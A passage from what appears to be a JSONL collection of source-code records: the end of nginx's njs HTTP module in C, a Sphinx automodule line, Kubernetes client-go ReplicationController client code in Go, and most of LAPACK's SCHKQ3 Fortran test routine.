js_event->ident = r->connection->fd;\n\n ev->data = js_event;\n ev->log = r->connection->log;\n ev->handler = ngx_http_js_timer_handler;\n\n ngx_add_timer(ev, delay);\n\n return ev;\n}\n\n\nstatic void\nngx_http_js_clear_timer(njs_external_ptr_t external, njs_host_event_t event)\n{\n ngx_event_t *ev = event;\n\n if (ev->timer_set) {\n ngx_del_timer(ev);\n }\n}\n\n\nstatic void\nngx_http_js_timer_handler(ngx_event_t *ev)\n{\n ngx_connection_t *c;\n ngx_http_request_t *r;\n ngx_http_js_event_t *js_event;\n\n js_event = (ngx_http_js_event_t *) ev->data;\n\n r = js_event->request;\n\n c = r->connection;\n\n ngx_http_js_handle_event(r, js_event->vm_event, NULL, 0);\n\n ngx_http_run_posted_requests(c);\n}\n\n\nstatic void\nngx_http_js_handle_event(ngx_http_request_t *r, njs_vm_event_t vm_event,\n njs_value_t *args, njs_uint_t nargs)\n{\n njs_int_t rc;\n njs_str_t exception;\n ngx_http_js_ctx_t *ctx;\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n njs_vm_post_event(ctx->vm, vm_event, args, nargs);\n\n rc = njs_vm_run(ctx->vm);\n\n if (rc == NJS_ERROR) {\n njs_vm_retval_string(ctx->vm, &exception);\n\n ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,\n \"js exception: %*s\", exception.length, exception.start);\n\n ngx_http_finalize_request(r, NGX_ERROR);\n }\n\n if (rc == NJS_OK) {\n ngx_http_post_request(r, NULL);\n }\n}\n\n\nstatic njs_int_t\nngx_http_js_string(njs_vm_t *vm, njs_value_t *value, njs_str_t *str)\n{\n if (value != NULL && !njs_value_is_null_or_undefined(value)) {\n if (njs_vm_value_to_string(vm, str, value) == NJS_ERROR) {\n return NJS_ERROR;\n }\n\n } else {\n str->start = NULL;\n str->length = 0;\n }\n\n return NJS_OK;\n}\n\n\nstatic char *\nngx_http_js_init_main_conf(ngx_conf_t *cf, void *conf)\n{\n ngx_http_js_main_conf_t *jmcf = conf;\n\n size_t size;\n u_char *start, *end, *p;\n ssize_t n;\n ngx_fd_t fd;\n ngx_str_t *m, file;\n njs_int_t rc;\n njs_str_t text, path;\n ngx_uint_t i;\n njs_value_t *value;\n njs_vm_opt_t options;\n ngx_file_info_t fi;\n ngx_pool_cleanup_t *cln;\n njs_opaque_value_t lvalue, exception;\n njs_external_proto_t proto;\n ngx_http_js_import_t *import;\n\n static const njs_str_t line_number_key = njs_str(\"lineNumber\");\n static const njs_str_t file_name_key = njs_str(\"fileName\");\n\n if (jmcf->include.len == 0 && jmcf->imports == NGX_CONF_UNSET_PTR) {\n return NGX_CONF_OK;\n }\n\n size = 0;\n fd = NGX_INVALID_FILE;\n\n if (jmcf->include.len != 0) {\n file = jmcf->include;\n\n if (ngx_conf_full_name(cf->cycle, &file, 1) != NGX_OK) {\n return NGX_CONF_ERROR;\n }\n\n fd = ngx_open_file(file.data, NGX_FILE_RDONLY, NGX_FILE_OPEN, 0);\n if (fd == NGX_INVALID_FILE) {\n ngx_log_error(NGX_LOG_EMERG, cf->log, ngx_errno,\n ngx_open_file_n \" \\\"%s\\\" failed\", file.data);\n return NGX_CONF_ERROR;\n }\n\n if (ngx_fd_info(fd, &fi) == NGX_FILE_ERROR) {\n ngx_log_error(NGX_LOG_EMERG, cf->log, ngx_errno,\n ngx_fd_info_n \" \\\"%s\\\" failed\", file.data);\n (void) ngx_close_file(fd);\n return NGX_CONF_ERROR;\n }\n\n size = ngx_file_size(&fi);\n\n } else {\n import = jmcf->imports->elts;\n for (i = 0; i < jmcf->imports->nelts; i++) {\n size += sizeof(\"import from '';\\n\") - 1 + import[i].name.len\n + import[i].path.len;\n }\n }\n\n start = ngx_pnalloc(cf->pool, size);\n if (start == NULL) {\n if (fd != NGX_INVALID_FILE) {\n (void) ngx_close_file(fd);\n }\n\n return NGX_CONF_ERROR;\n }\n\n if (jmcf->include.len != 0) {\n n = ngx_read_fd(fd, start, size);\n\n if (n == -1) {\n ngx_log_error(NGX_LOG_EMERG, cf->log, ngx_errno,\n ngx_read_fd_n \" \\\"%s\\\" failed\", file.data);\n\n (void) ngx_close_file(fd);\n return NGX_CONF_ERROR;\n }\n\n if ((size_t) n != size) {\n ngx_log_error(NGX_LOG_EMERG, cf->log, 0,\n ngx_read_fd_n \" has read only %z \"\n \"of %O from \\\"%s\\\"\", n, size, file.data);\n\n (void) ngx_close_file(fd);\n return NGX_CONF_ERROR;\n }\n\n if (ngx_close_file(fd) == NGX_FILE_ERROR) {\n ngx_log_error(NGX_LOG_EMERG, cf->log, ngx_errno,\n ngx_close_file_n \" %s failed\", file.data);\n }\n\n } else {\n p = start;\n import = jmcf->imports->elts;\n for (i = 0; i < jmcf->imports->nelts; i++) {\n p = ngx_cpymem(p, \"import \", sizeof(\"import \") - 1);\n p = ngx_cpymem(p, import[i].name.data, import[i].name.len);\n p = ngx_cpymem(p, \" from '\", sizeof(\" from '\") - 1);\n p = ngx_cpymem(p, import[i].path.data, import[i].path.len);\n p = ngx_cpymem(p, \"';\\n\", sizeof(\"';\\n\") - 1);\n }\n }\n\n njs_vm_opt_init(&options);\n\n options.backtrace = 1;\n options.ops = &ngx_http_js_ops;\n options.argv = ngx_argv;\n options.argc = ngx_argc;\n\n if (jmcf->include.len != 0) {\n file = jmcf->include;\n\n } else {\n file = ngx_cycle->conf_prefix;\n }\n\n options.file.start = file.data;\n options.file.length = file.len;\n\n jmcf->vm = njs_vm_create(&options);\n if (jmcf->vm == NULL) {\n ngx_log_error(NGX_LOG_EMERG, cf->log, 0, \"failed to create js VM\");\n return NGX_CONF_ERROR;\n }\n\n cln = ngx_pool_cleanup_add(cf->pool, 0);\n if (cln == NULL) {\n return NGX_CONF_ERROR;\n }\n\n cln->handler = ngx_http_js_cleanup_vm;\n cln->data = jmcf->vm;\n\n path.start = ngx_cycle->conf_prefix.data;\n path.length = ngx_cycle->conf_prefix.len;\n\n rc = njs_vm_add_path(jmcf->vm, &path);\n if (rc != NJS_OK) {\n ngx_log_error(NGX_LOG_EMERG, cf->log, 0, \"failed to add \\\"js_path\\\"\");\n return NGX_CONF_ERROR;\n }\n\n if (jmcf->paths != NGX_CONF_UNSET_PTR) {\n m = jmcf->paths->elts;\n\n for (i = 0; i < jmcf->paths->nelts; i++) {\n if (ngx_conf_full_name(cf->cycle, &m[i], 1) != NGX_OK) {\n return NGX_CONF_ERROR;\n }\n\n path.start = m[i].data;\n path.length = m[i].len;\n\n rc = njs_vm_add_path(jmcf->vm, &path);\n if (rc != NJS_OK) {\n ngx_log_error(NGX_LOG_EMERG, cf->log, 0,\n \"failed to add \\\"js_path\\\"\");\n return NGX_CONF_ERROR;\n }\n }\n }\n\n proto = njs_vm_external_prototype(jmcf->vm, ngx_http_js_ext_request,\n njs_nitems(ngx_http_js_ext_request));\n if (proto == NULL) {\n ngx_log_error(NGX_LOG_EMERG, cf->log, 0,\n \"failed to add js request proto\");\n return NGX_CONF_ERROR;\n }\n\n jmcf->req_proto = proto;\n end = start + size;\n\n rc = njs_vm_compile(jmcf->vm, &start, end);\n\n if (rc != NJS_OK) {\n njs_value_assign(&exception, njs_vm_retval(jmcf->vm));\n njs_vm_retval_string(jmcf->vm, &text);\n\n if (jmcf->include.len != 0) {\n ngx_log_error(NGX_LOG_EMERG, cf->log, 0, \"%*s, included in %s:%ui\",\n text.length, text.start, jmcf->file, jmcf->line);\n return NGX_CONF_ERROR;\n }\n\n value = njs_vm_object_prop(jmcf->vm, njs_value_arg(&exception),\n &file_name_key, &lvalue);\n if (value == NULL) {\n value = njs_vm_object_prop(jmcf->vm, njs_value_arg(&exception),\n &line_number_key, &lvalue);\n\n if (value != NULL) {\n i = njs_value_number(value) - 1;\n\n if (i < jmcf->imports->nelts) {\n import = jmcf->imports->elts;\n ngx_log_error(NGX_LOG_EMERG, cf->log, 0,\n \"%*s, included in %s:%ui\", text.length,\n text.start, import[i].file, import[i].line);\n return NGX_CONF_ERROR;\n }\n }\n }\n\n ngx_log_error(NGX_LOG_EMERG, cf->log, 0, \"%*s\", text.length,\n text.start);\n return NGX_CONF_ERROR;\n }\n\n if (start != end) {\n ngx_log_error(NGX_LOG_EMERG, cf->log, 0,\n \"extra characters in js script: \\\"%*s\\\"\",\n end - start, start);\n return NGX_CONF_ERROR;\n }\n\n return NGX_CONF_OK;\n}\n\n\nstatic char *\nngx_http_js_include(ngx_conf_t *cf, ngx_command_t *cmd, void *conf)\n{\n ngx_http_js_main_conf_t *jmcf = conf;\n\n if (jmcf->imports != NGX_CONF_UNSET_PTR) {\n return \"is incompatible with \\\"js_import\\\"\";\n }\n\n jmcf->file = cf->conf_file->file.name.data;\n jmcf->line = cf->conf_file->line;\n\n return ngx_conf_set_str_slot(cf, cmd, conf);\n}\n\n\nstatic char *\nngx_http_js_import(ngx_conf_t *cf, ngx_command_t *cmd, void *conf)\n{\n ngx_http_js_main_conf_t *jmcf = conf;\n\n u_char *p, *end, c;\n ngx_int_t from;\n ngx_str_t *value, name, path;\n ngx_http_js_import_t *import;\n\n if (jmcf->include.len != 0) {\n return \"is incompatible with \\\"js_include\\\"\";\n }\n\n value = cf->args->elts;\n from = (cf->args->nelts == 4);\n\n if (from) {\n if (ngx_strcmp(value[2].data, \"from\") != 0) {\n ngx_conf_log_error(NGX_LOG_EMERG, cf, 0,\n \"invalid parameter \\\"%V\\\"\", &value[2]);\n return NGX_CONF_ERROR;\n }\n }\n\n name = value[1];\n path = (from ? value[3] : value[1]);\n\n if (!from) {\n end = name.data + name.len;\n\n for (p = end - 1; p >= name.data; p--) {\n if (*p == '/') {\n break;\n }\n }\n\n name.data = p + 1;\n name.len = end - p - 1;\n\n if (name.len < 3\n || ngx_memcmp(&name.data[name.len - 3], \".js\", 3) != 0)\n {\n ngx_conf_log_error(NGX_LOG_EMERG, cf, 0,\n \"cannot extract export name from file path \"\n \"\\\"%V\\\", use extended \\\"from\\\" syntax\", &path);\n return NGX_CONF_ERROR;\n }\n\n name.len -= 3;\n }\n\n if (name.len == 0) {\n ngx_conf_log_error(NGX_LOG_EMERG, cf, 0, \"empty export name\");\n return NGX_CONF_ERROR;\n }\n\n p = name.data;\n end = name.data + name.len;\n\n while (p < end) {\n c = ngx_tolower(*p);\n\n if (*p != '_' && (c < 'a' || c > 'z')) {\n if (p == name.data) {\n ngx_conf_log_error(NGX_LOG_EMERG, cf, 0, \"cannot start \"\n \"with \\\"%c\\\" in export name \\\"%V\\\"\", *p,\n &name);\n return NGX_CONF_ERROR;\n }\n\n if (*p < '0' || *p > '9') {\n ngx_conf_log_error(NGX_LOG_EMERG, cf, 0, \"invalid character \"\n \"\\\"%c\\\" in export name \\\"%V\\\"\", *p,\n &name);\n return NGX_CONF_ERROR;\n }\n }\n\n p++;\n }\n\n if (ngx_strchr(path.data, '\\'') != NULL) {\n ngx_conf_log_error(NGX_LOG_EMERG, cf, 0, \"invalid character \\\"'\\\" \"\n \"in file path \\\"%V\\\"\", &path);\n return NGX_CONF_ERROR;\n }\n\n if (jmcf->imports == NGX_CONF_UNSET_PTR) {\n jmcf->imports = ngx_array_create(cf->pool, 4,\n sizeof(ngx_http_js_import_t));\n if (jmcf->imports == NULL) {\n return NGX_CONF_ERROR;\n }\n }\n\n import = ngx_array_push(jmcf->imports);\n if (import == NULL) {\n return NGX_CONF_ERROR;\n }\n\n import->name = name;\n import->path = path;\n import->file = cf->conf_file->file.name.data;\n import->line = cf->conf_file->line;\n\n return NGX_CONF_OK;\n}\n\n\nstatic char *\nngx_http_js_set(ngx_conf_t *cf, ngx_command_t *cmd, void *conf)\n{\n ngx_str_t *value, *fname;\n ngx_http_variable_t *v;\n\n value = cf->args->elts;\n\n if (value[1].data[0] != '$') {\n ngx_conf_log_error(NGX_LOG_EMERG, cf, 0,\n \"invalid variable name \\\"%V\\\"\", &value[1]);\n return NGX_CONF_ERROR;\n }\n\n value[1].len--;\n value[1].data++;\n\n v = ngx_http_add_variable(cf, &value[1], NGX_HTTP_VAR_CHANGEABLE);\n if (v == NULL) {\n return NGX_CONF_ERROR;\n }\n\n fname = ngx_palloc(cf->pool, sizeof(ngx_str_t));\n if (fname == NULL) {\n return NGX_CONF_ERROR;\n }\n\n *fname = value[2];\n\n v->get_handler = ngx_http_js_variable;\n v->data = (uintptr_t) fname;\n\n return NGX_CONF_OK;\n}\n\n\nstatic char *\nngx_http_js_content(ngx_conf_t *cf, ngx_command_t *cmd, void *conf)\n{\n ngx_http_js_loc_conf_t *jlcf = conf;\n\n ngx_str_t *value;\n ngx_http_core_loc_conf_t *clcf;\n\n if (jlcf->content.data) {\n return \"is duplicate\";\n }\n\n value = cf->args->elts;\n jlcf->content = value[1];\n\n clcf = ngx_http_conf_get_module_loc_conf(cf, ngx_http_core_module);\n clcf->handler = ngx_http_js_content_handler;\n\n return NGX_CONF_OK;\n}\n\n\nstatic void *\nngx_http_js_create_main_conf(ngx_conf_t *cf)\n{\n ngx_http_js_main_conf_t *conf;\n\n conf = ngx_pcalloc(cf->pool, sizeof(ngx_http_js_main_conf_t));\n if (conf == NULL) {\n return NULL;\n }\n\n /*\n * set by ngx_pcalloc():\n *\n * conf->vm = NULL;\n * conf->include = { 0, NULL };\n * conf->file = NULL;\n * conf->line = 0;\n * conf->req_proto = NULL;\n */\n\n conf->paths = NGX_CONF_UNSET_PTR;\n conf->imports = NGX_CONF_UNSET_PTR;\n\n return conf;\n}\n\n\nstatic void *\nngx_http_js_create_loc_conf(ngx_conf_t *cf)\n{\n ngx_http_js_loc_conf_t *conf;\n\n conf = ngx_pcalloc(cf->pool, sizeof(ngx_http_js_loc_conf_t));\n if (conf == NULL) {\n return NULL;\n }\n\n /*\n * set by ngx_pcalloc():\n *\n * conf->content = { 0, NULL };\n */\n\n return conf;\n}\n\n\nstatic char *\nngx_http_js_merge_loc_conf(ngx_conf_t *cf, void *parent, void *child)\n{\n ngx_http_js_loc_conf_t *prev = parent;\n ngx_http_js_loc_conf_t *conf = child;\n\n ngx_conf_merge_str_value(conf->content, prev->content, \"\");\n\n return NGX_CONF_OK;\n}\n"} {"text": ".. automodule:: clifford.cga\n"} {"text": "/*\nCopyright 2016 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage v1\n\nimport (\n\tapi \"k8s.io/client-go/pkg/api\"\n\tv1 \"k8s.io/client-go/pkg/api/v1\"\n\twatch \"k8s.io/client-go/pkg/watch\"\n\trest \"k8s.io/client-go/rest\"\n)\n\n// ReplicationControllersGetter has a method to return a ReplicationControllerInterface.\n// A group's client should implement this interface.\ntype ReplicationControllersGetter interface {\n\tReplicationControllers(namespace string) ReplicationControllerInterface\n}\n\n// ReplicationControllerInterface has methods to work with ReplicationController resources.\ntype ReplicationControllerInterface interface {\n\tCreate(*v1.ReplicationController) (*v1.ReplicationController, error)\n\tUpdate(*v1.ReplicationController) (*v1.ReplicationController, error)\n\tUpdateStatus(*v1.ReplicationController) (*v1.ReplicationController, error)\n\tDelete(name string, options *v1.DeleteOptions) error\n\tDeleteCollection(options *v1.DeleteOptions, listOptions v1.ListOptions) error\n\tGet(name string) (*v1.ReplicationController, error)\n\tList(opts v1.ListOptions) (*v1.ReplicationControllerList, error)\n\tWatch(opts v1.ListOptions) (watch.Interface, error)\n\tPatch(name string, pt api.PatchType, data []byte, subresources ...string) (result *v1.ReplicationController, err error)\n\tReplicationControllerExpansion\n}\n\n// replicationControllers implements ReplicationControllerInterface\ntype replicationControllers struct {\n\tclient rest.Interface\n\tns string\n}\n\n// newReplicationControllers returns a ReplicationControllers\nfunc newReplicationControllers(c *CoreClient, namespace string) *replicationControllers {\n\treturn &replicationControllers{\n\t\tclient: c.RESTClient(),\n\t\tns: namespace,\n\t}\n}\n\n// Create takes the representation of a replicationController and creates it. Returns the server's representation of the replicationController, and an error, if there is any.\nfunc (c *replicationControllers) Create(replicationController *v1.ReplicationController) (result *v1.ReplicationController, err error) {\n\tresult = &v1.ReplicationController{}\n\terr = c.client.Post().\n\t\tNamespace(c.ns).\n\t\tResource(\"replicationcontrollers\").\n\t\tBody(replicationController).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n\n// Update takes the representation of a replicationController and updates it. Returns the server's representation of the replicationController, and an error, if there is any.\nfunc (c *replicationControllers) Update(replicationController *v1.ReplicationController) (result *v1.ReplicationController, err error) {\n\tresult = &v1.ReplicationController{}\n\terr = c.client.Put().\n\t\tNamespace(c.ns).\n\t\tResource(\"replicationcontrollers\").\n\t\tName(replicationController.Name).\n\t\tBody(replicationController).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n\nfunc (c *replicationControllers) UpdateStatus(replicationController *v1.ReplicationController) (result *v1.ReplicationController, err error) {\n\tresult = &v1.ReplicationController{}\n\terr = c.client.Put().\n\t\tNamespace(c.ns).\n\t\tResource(\"replicationcontrollers\").\n\t\tName(replicationController.Name).\n\t\tSubResource(\"status\").\n\t\tBody(replicationController).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n\n// Delete takes name of the replicationController and deletes it. Returns an error if one occurs.\nfunc (c *replicationControllers) Delete(name string, options *v1.DeleteOptions) error {\n\treturn c.client.Delete().\n\t\tNamespace(c.ns).\n\t\tResource(\"replicationcontrollers\").\n\t\tName(name).\n\t\tBody(options).\n\t\tDo().\n\t\tError()\n}\n\n// DeleteCollection deletes a collection of objects.\nfunc (c *replicationControllers) DeleteCollection(options *v1.DeleteOptions, listOptions v1.ListOptions) error {\n\treturn c.client.Delete().\n\t\tNamespace(c.ns).\n\t\tResource(\"replicationcontrollers\").\n\t\tVersionedParams(&listOptions, api.ParameterCodec).\n\t\tBody(options).\n\t\tDo().\n\t\tError()\n}\n\n// Get takes name of the replicationController, and returns the corresponding replicationController object, and an error if there is any.\nfunc (c *replicationControllers) Get(name string) (result *v1.ReplicationController, err error) {\n\tresult = &v1.ReplicationController{}\n\terr = c.client.Get().\n\t\tNamespace(c.ns).\n\t\tResource(\"replicationcontrollers\").\n\t\tName(name).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n\n// List takes label and field selectors, and returns the list of ReplicationControllers that match those selectors.\nfunc (c *replicationControllers) List(opts v1.ListOptions) (result *v1.ReplicationControllerList, err error) {\n\tresult = &v1.ReplicationControllerList{}\n\terr = c.client.Get().\n\t\tNamespace(c.ns).\n\t\tResource(\"replicationcontrollers\").\n\t\tVersionedParams(&opts, api.ParameterCodec).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n\n// Watch returns a watch.Interface that watches the requested replicationControllers.\nfunc (c *replicationControllers) Watch(opts v1.ListOptions) (watch.Interface, error) {\n\treturn c.client.Get().\n\t\tPrefix(\"watch\").\n\t\tNamespace(c.ns).\n\t\tResource(\"replicationcontrollers\").\n\t\tVersionedParams(&opts, api.ParameterCodec).\n\t\tWatch()\n}\n\n// Patch applies the patch and returns the patched replicationController.\nfunc (c *replicationControllers) Patch(name string, pt api.PatchType, data []byte, subresources ...string) (result *v1.ReplicationController, err error) {\n\tresult = &v1.ReplicationController{}\n\terr = c.client.Patch(pt).\n\t\tNamespace(c.ns).\n\t\tResource(\"replicationcontrollers\").\n\t\tSubResource(subresources...).\n\t\tName(name).\n\t\tBody(data).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n"} {"text": "*> \\brief \\b SCHKQ3\n*\n* =========== DOCUMENTATION ===========\n*\n* Online html documentation available at\n* http://www.netlib.org/lapack/explore-html/\n*\n* Definition:\n* ===========\n*\n* SUBROUTINE SCHKQ3( DOTYPE, NM, MVAL, NN, NVAL, NNB, NBVAL, NXVAL,\n* THRESH, A, COPYA, S, TAU, WORK, IWORK,\n* NOUT )\n*\n* .. Scalar Arguments ..\n* INTEGER NM, NN, NNB, NOUT\n* REAL THRESH\n* ..\n* .. Array Arguments ..\n* LOGICAL DOTYPE( * )\n* INTEGER IWORK( * ), MVAL( * ), NBVAL( * ), NVAL( * ),\n* $ NXVAL( * )\n* REAL A( * ), COPYA( * ), S( * ),\n* $ TAU( * ), WORK( * )\n* ..\n*\n*\n*> \\par Purpose:\n* =============\n*>\n*> \\verbatim\n*>\n*> SCHKQ3 tests SGEQP3.\n*> \\endverbatim\n*\n* Arguments:\n* ==========\n*\n*> \\param[in] DOTYPE\n*> \\verbatim\n*> DOTYPE is LOGICAL array, dimension (NTYPES)\n*> The matrix types to be used for testing. Matrices of type j\n*> (for 1 <= j <= NTYPES) are used for testing if DOTYPE(j) =\n*> .TRUE.; if DOTYPE(j) = .FALSE., then type j is not used.\n*> \\endverbatim\n*>\n*> \\param[in] NM\n*> \\verbatim\n*> NM is INTEGER\n*> The number of values of M contained in the vector MVAL.\n*> \\endverbatim\n*>\n*> \\param[in] MVAL\n*> \\verbatim\n*> MVAL is INTEGER array, dimension (NM)\n*> The values of the matrix row dimension M.\n*> \\endverbatim\n*>\n*> \\param[in] NN\n*> \\verbatim\n*> NN is INTEGER\n*> The number of values of N contained in the vector NVAL.\n*> \\endverbatim\n*>\n*> \\param[in] NVAL\n*> \\verbatim\n*> NVAL is INTEGER array, dimension (NN)\n*> The values of the matrix column dimension N.\n*> \\endverbatim\n*>\n*> \\param[in] NNB\n*> \\verbatim\n*> NNB is INTEGER\n*> The number of values of NB and NX contained in the\n*> vectors NBVAL and NXVAL. The blocking parameters are used\n*> in pairs (NB,NX).\n*> \\endverbatim\n*>\n*> \\param[in] NBVAL\n*> \\verbatim\n*> NBVAL is INTEGER array, dimension (NNB)\n*> The values of the blocksize NB.\n*> \\endverbatim\n*>\n*> \\param[in] NXVAL\n*> \\verbatim\n*> NXVAL is INTEGER array, dimension (NNB)\n*> The values of the crossover point NX.\n*> \\endverbatim\n*>\n*> \\param[in] THRESH\n*> \\verbatim\n*> THRESH is REAL\n*> The threshold value for the test ratios. A result is\n*> included in the output file if RESULT >= THRESH. To have\n*> every test ratio printed, use THRESH = 0.\n*> \\endverbatim\n*>\n*> \\param[out] A\n*> \\verbatim\n*> A is REAL array, dimension (MMAX*NMAX)\n*> where MMAX is the maximum value of M in MVAL and NMAX is the\n*> maximum value of N in NVAL.\n*> \\endverbatim\n*>\n*> \\param[out] COPYA\n*> \\verbatim\n*> COPYA is REAL array, dimension (MMAX*NMAX)\n*> \\endverbatim\n*>\n*> \\param[out] S\n*> \\verbatim\n*> S is REAL array, dimension\n*> (min(MMAX,NMAX))\n*> \\endverbatim\n*>\n*> \\param[out] TAU\n*> \\verbatim\n*> TAU is REAL array, dimension (MMAX)\n*> \\endverbatim\n*>\n*> \\param[out] WORK\n*> \\verbatim\n*> WORK is REAL array, dimension\n*> (MMAX*NMAX + 4*NMAX + MMAX)\n*> \\endverbatim\n*>\n*> \\param[out] IWORK\n*> \\verbatim\n*> IWORK is INTEGER array, dimension (2*NMAX)\n*> \\endverbatim\n*>\n*> \\param[in] NOUT\n*> \\verbatim\n*> NOUT is INTEGER\n*> The unit number for output.\n*> \\endverbatim\n*\n* Authors:\n* ========\n*\n*> \\author Univ. of Tennessee\n*> \\author Univ. of California Berkeley\n*> \\author Univ. of Colorado Denver\n*> \\author NAG Ltd.\n*\n*> \\date December 2016\n*\n*> \\ingroup single_lin\n*\n* =====================================================================\n SUBROUTINE SCHKQ3( DOTYPE, NM, MVAL, NN, NVAL, NNB, NBVAL, NXVAL,\n $ THRESH, A, COPYA, S, TAU, WORK, IWORK,\n $ NOUT )\n*\n* -- LAPACK test routine (version 3.7.0) --\n* -- LAPACK is a software package provided by Univ. of Tennessee, --\n* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..--\n* December 2016\n*\n* .. Scalar Arguments ..\n INTEGER NM, NN, NNB, NOUT\n REAL THRESH\n* ..\n* .. Array Arguments ..\n LOGICAL DOTYPE( * )\n INTEGER IWORK( * ), MVAL( * ), NBVAL( * ), NVAL( * ),\n $ NXVAL( * )\n REAL A( * ), COPYA( * ), S( * ),\n $ TAU( * ), WORK( * )\n* ..\n*\n* =====================================================================\n*\n* .. Parameters ..\n INTEGER NTYPES\n PARAMETER ( NTYPES = 6 )\n INTEGER NTESTS\n PARAMETER ( NTESTS = 3 )\n REAL ONE, ZERO\n PARAMETER ( ONE = 1.0E0, ZERO = 0.0E0 )\n* ..\n* .. Local Scalars ..\n CHARACTER*3 PATH\n INTEGER I, IHIGH, ILOW, IM, IMODE, IN, INB, INFO,\n $ ISTEP, K, LDA, LW, LWORK, M, MNMIN, MODE, N,\n $ NB, NERRS, NFAIL, NRUN, NX\n REAL EPS\n* ..\n* .. Local Arrays ..\n INTEGER ISEED( 4 ), ISEEDY( 4 )\n REAL RESULT( NTESTS )\n* ..\n* .. External Functions ..\n REAL SLAMCH, SQPT01, SQRT11, SQRT12\n EXTERNAL SLAMCH, SQPT01, SQRT11, SQRT12\n* ..\n* .. External Subroutines ..\n EXTERNAL ALAHD, ALASUM, ICOPY, SGEQP3, SLACPY, SLAORD,\n $ SLASET, SLATMS, XLAENV\n* ..\n* .. Intrinsic Functions ..\n INTRINSIC MAX, MIN\n* ..\n* .. Scalars in Common ..\n LOGICAL LERR, OK\n CHARACTER*32 SRNAMT\n INTEGER INFOT, IOUNIT\n* ..\n* .. Common blocks ..\n COMMON / INFOC / INFOT, IOUNIT, OK, LERR\n COMMON / SRNAMC / SRNAMT\n* ..\n* .. Data statements ..\n DATA ISEEDY / 1988, 1989, 1990, 1991 /\n* ..\n* .. Executable Statements ..\n*\n* Initialize constants and the random number seed.\n*\n PATH( 1: 1 ) = 'Single precision'\n PATH( 2: 3 ) = 'Q3'\n NRUN = 0\n NFAIL = 0\n NERRS = 0\n DO 10 I = 1, 4\n ISEED( I ) = ISEEDY( I )\n 10 CONTINUE\n EPS = SLAMCH( 'Epsilon' )\n INFOT = 0\n*\n DO 90 IM = 1, NM\n*\n* Do for each value of M in MVAL.\n*\n M = MVAL( IM )\n LDA = MAX( 1, M )\n*\n DO 80 IN = 1, NN\n*\n* Do for each value of N in NVAL.\n*\n N = NVAL( IN )\n MNMIN = MIN( M, N )\n LWORK = MAX( 1, M*MAX( M, N )+4*MNMIN+MAX( M, N ),\n $ M*N + 2*MNMIN + 4*N )\n*\n DO 70 IMODE = 1, NTYPES\n IF( .NOT.DOTYPE( IMODE ) )\n $ GO TO 70\n*\n* Do for each type of matrix\n* 1: zero matrix\n* 2: one small singular value\n* 3: geometric distribution of singular values\n* 4: first n/2 columns fixed\n* 5: last n/2 columns fixed\n* 6: every second column fixed\n*\n MODE = IMODE\n IF( IMODE.GT.3 )\n $ MODE = 1\n*\n* Generate test matrix of size m by n using\n* singular value distribution indicated by `mode'.\n*\n DO 20 I = 1, N\n IWORK( I ) = 0\n 20 CONTINUE\n IF( IMODE.EQ.1 ) THEN\n CALL SLASET( 'Full', M, N, ZERO, ZERO, COPYA, LDA )\n DO 30 I = 1, MNMIN\n S( I ) = ZERO\n 30 CONTINUE\n ELSE\n CALL SLATMS( M, N, 'Uniform', ISEED, 'Nonsymm', S,\n $ MODE, ONE / EPS, ONE, M, N, 'No packing',\n $ COPYA, LDA, WORK, INFO )\n IF( IMODE.GE.4 ) THEN\n IF( IMODE.EQ.4 ) THEN\n ILOW = 1\n ISTEP = 1\n IHIGH = MAX( 1, N / 2 )\n ELSE IF( IMODE.EQ.5 ) THEN\n ILOW = MAX( 1, N / 2 )\n ISTEP = 1\n IHIGH = N\n ELSE IF( IMODE.EQ.6 ) THEN\n ILOW = 1\n ISTEP = 2\n IHIGH = N\n END IF\n DO 40 I = ILOW, IHIGH, ISTEP\n IWORK( I ) = 1\n 40 CONTINUE\n END IF\n CALL SLAORD( 'Decreasing', MNMIN, S, 1 )\n END IF\n*\n DO 60 INB = 1, NNB\n*\n* Do for each pair of values (NB,NX) in NBVAL and NXVAL.\n*\n NB = NBVAL( INB )\n CALL XLAENV( 1, NB )\n NX = NXVAL( INB )\n CALL XLAENV( 3, NX )\n*\n* Get a working copy of COPYA into A and a copy of\n* vector IWORK.\n*\n CALL SLACPY( 'All', M, N, COPYA, LDA, A, LDA )\n CALL ICOPY( N, IWORK( 1 ), 1, IWORK( N+1 ), 1 )\n*\n* Compute the QR factorization with pivoting of A\n*\n LW = MAX( 1, 2*N+NB*( N+1 ) )\n*\n* Compute the QP3 factorization of A\n*\n SRNAMT = 'SGEQP3'\n CALL SGEQP3( M, N, A, LDA, IWORK( N+1 ), TAU, WORK,\n $ LW, INFO )\n*\n* Compute norm(svd(a) - svd(r))\n*\n RESULT( 1 ) = SQRT12( M, N, A, LDA, S, WORK,\n $ LWORK )\n*\n* Compute norm( A*P - Q*R )\n*\n RESULT( 2 ) = SQPT01( M, N, MNMIN, COPYA, A, LDA, TAU,\n $ IWORK( N+1 ), WORK, LWORK )\n*\n* Compute Q'*Q\n*\n RESULT( 3 ) = SQRT11( M, MNMIN, A, LDA, TAU, WORK,\n $ LWORK )\n*\n* Print information about the tests that did not pass\n* the threshold.\n*\n DO 50 K = 1, NTESTS\n IF( RESULT( K ).GE.THRESH ) THEN\n IF( NFAIL.EQ.0 .AND. NERRS.EQ.0 )\n $ CALL ALAHD( NOUT, PATH )\n WRITE( NOUT, FMT = 9999 )'SGEQP3', M, N, NB,\n $ IMODE, K, RESULT( K )\n NFAIL = NFAIL + 1\n END IF\n 50 CONTINUE\n NRUN = NRUN + NTESTS\n*\n 60 CONTINUE\n 70 CONTINUE\n 80 CONTINUE\n 90 CONTINUE\n*\n* Print a summary of the 